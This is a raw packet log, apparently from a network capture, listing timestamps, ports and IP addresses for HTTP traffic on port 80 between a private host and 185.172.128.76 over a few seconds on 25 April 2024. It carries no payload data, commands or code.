Apr 25, 2024 14:42:04.857124090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857146025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857184887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857203007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857225895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857239008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857280016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857300997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857325077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857333899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857335091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857373953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857410908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857429981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857451916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857470036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857530117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857548952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857572079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857582092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857589960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857614994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857634068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857635975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857660055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857666969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857685089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857724905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857763052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857780933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857799053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857805014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857822895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857840061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857844114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857882977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857911110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857944965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857950926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857984066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857990026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858010054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858032942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858042002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858043909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858078003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858083963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858097076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858117104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858136892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858160973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858201027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858227015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858243942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858268023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858278990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858289003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858306885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858330965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858338118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858340979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858381033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858390093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858428955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858454943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858495951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858524084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858541965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858566999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858582973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858594894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858634949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858679056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858695984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858726978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858736992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858755112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858773947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858793974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858813047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858838081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858855963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858872890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858879089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858892918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858912945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858942986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.858953953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858972073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.858998060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859011889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859011889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859045982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859052896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859085083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859105110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859122992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859141111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859154940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859160900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859189987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859193087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859222889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859230042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859244108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859261036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859266043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859283924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859297991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859308958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859325886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859349966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859361887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859363079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859381914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859402895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859419107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859446049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859466076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859487057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859497070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859498978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859518051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859540939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859554052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859565973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859605074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859627962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859663010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859663010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859699011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859731913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859750032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859772921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859782934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859790087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859807014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859824896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859831095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859849930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859860897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859874964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859893084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859910011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.859915972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859930038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859947920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.859987974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860021114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860027075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860039949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860058069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860075951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860089064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860126972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860148907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860186100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860189915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860207081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860224962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860225916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860244989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860249043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860259056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860263109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860281944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860282898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860300064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860301018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860315084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860336065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860347033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860379934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860389948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860408068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860430002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860439062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860470057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860487938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860510111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860524893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860536098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860575914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860599995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860618114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860635042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860635996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860656023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860667944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860670090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860691071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860707998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860713005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860724926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860747099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860755920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860775948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860791922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860799074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860814095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860832930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860841990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860861063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860883951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860893965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860896111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860913992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.860935926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.860946894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861080885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861099958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861116886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861121893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861135960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861155033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861195087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861213923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861229897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861238956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861248970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861251116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861265898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861284018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861285925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861323118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861330986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861370087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861381054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861397982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861419916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861430883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861433983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861448050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861466885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861473083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861479998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861505032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861515045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861547947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861557007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861587048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861599922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861618042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861634970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861640930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861660004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861673117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861686945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861706018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861727953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861738920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861740112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861782074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.861825943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861843109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861852884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861881018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861891031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861907959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861960888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.861970901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.862026930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.862044096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.862068892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.862096071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.862096071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.862147093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.255937099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.257936001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.462225914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.464159966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.464199066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.464236021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.464268923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.605076075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.605293036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.700520039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.700681925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:05.906754971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.906923056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:05.906960011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:06.042860985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:06.042967081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:06.058589935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:06.265017033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:06.395768881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:06.395844936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:06.784893990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:06.991348982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.121563911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.121701002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.285468102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.491900921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601530075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601577997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601614952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601640940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601654053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601672888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601672888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601694107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601705074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601736069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601747036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601774931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601782084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601830959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601862907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601927042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601954937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.601969004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.601989985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.602019072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656138897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656188011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656209946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656244040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656245947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656285048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656303883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656322956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656333923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656361103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656371117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656400919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656419992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656438112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656454086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656476021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656486034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656514883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:07.656527996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:07.656553984 CEST	80	49731	185.172.128.76	192.168.2.4
